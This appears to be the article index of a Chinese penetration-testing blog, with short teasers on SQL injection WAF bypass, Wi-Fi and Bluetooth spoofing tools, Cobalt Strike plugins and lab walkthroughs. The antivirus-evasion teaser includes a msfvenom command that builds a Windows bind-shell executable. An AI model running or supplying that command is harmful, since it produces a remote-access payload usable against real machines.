实战：新手小白之-安全测试之目录浏览漏洞攻击
目录浏览漏洞属于目录遍历漏洞的一种，目录浏览漏洞是由于网站存在配置缺陷，存在目录可浏览漏洞，这会导致网站很多隐私文件与目录泄露，比如数据库备份文件、配置文件等，攻击者利用该信息可以...
Kali Nethunter之WIFIpumpkin3使用指南
前言NetHunter 应用程序 2024.3 已上线！期待已久的 Mana 替代品：Wifipumpkin3已经可以在Nethunter APP中直接使用啦！小伙伴们更新好了吗？视频演示 什么是WiFiPumpkin3 WiFiPumpkin3 是...
AI赋能，终端焕发炫酷新貌
前言开发者朋友们，每天面对冷冰冰的终端窗口，是不是很想换个“高配”工具？今天给大家安利一款 GitHub 超火的开源终端工具——Warp。它不仅自带 AI 助手，还兼容 zsh、bash 等主流 Shell，完...
免杀技术实际演示
生成反弹shellmsfvenom -p windows/shell/bind_tcp lhost=1.1.1.1 lport=4444 -a x86 --platform win -f exe -o a.exe加密编码反弹shellmsfvenom -p windows/shell/bind_tcp lhost=1.1.1.1 lpor...
Web中间件和Web框架进行自动化渗透工具
项目简介扫描分为指纹探测、子域名爆破、端口扫描、目录扫描、POC扫描.如果选择所有扫描选项,子域名扫出的IP会传给端口扫描,端口扫描中识别指纹,扫描出的资产传给目录扫描和POC扫描,POC扫描会根...
新手学习SQL漏洞注入-绕过WAF过滤-（附实战练习）
推荐阅读前言1.根据题目描述，可以发现后台登录地址就是默认的admin路经2.但是还不知道账号和密码，随便点网站中的一篇文章，发现文章的链接貌似可以SQL注入，但是验证时发现有防火墙拦截2.根据...
使用安卓设备以及Nethunter通过蓝牙配对消息欺骗 iOS 设备
前言在本次更新中，我将分享如何扩展可以发送配对消息的 Android nRF Connect 应用程序的信号，在最新的 iOS 17 上演示 AppleJuice，展示哪些特定的广告包可以触发最远 50 米的弹出窗口，甚至使...
蓝队应急响应工具箱使用手册
前言：文档目的有的师傅有很多工具找不到使用文档，特此专门写了这个文档，用于各位师傅查询，文末复下载链接，可下载下来慢慢品尝注意，本文档同步蓝队工具箱进行使用工具箱下载工具使用everyt...
【OSCP模拟-No.1】SolidState靶机渗透测试练习
前言主要漏洞利用方式：4555端口james服务默认密码漏洞+rbash逃逸提权1.靶机信息靶场: vulnhub.com 靶机名称: SolidState: 1 难度: 中等 发布时间: 2018年9月12日 下载地址：https://download.v...
通过一张照片生成的舞蹈视频
前言前段时间在朋友圈和各大平台上，我注意到一股趋势：人们分享着一种全新的视频——通过一张照片生成的舞蹈视频。比如喵咪跳舞等视频，这一切都源自一个 AI 工具。这不仅激发了我的好奇心，也...
Cobalt Strike插件推荐-CS上线提醒
前言 在打项目的时候可能在吃着饭，回去的时候看到上线的beacon已经断开连接半小时了，这时就知道自己的炮灰🐎已经被干掉，之前铺垫的内容早已白费，只能留下不争气的泪水。这款插件就是...
日常渗透刷洞的一些小工具
SecurityServiceBox：一个Windows平台下既可以满足安服仔日常渗透工作也可以批量刷洞的工具盒子。大佬轻喷项目地址x01 前言作为一个安服仔，日常渗透中，不同阶段所使用的工具是不同的，除开自...
AI 助手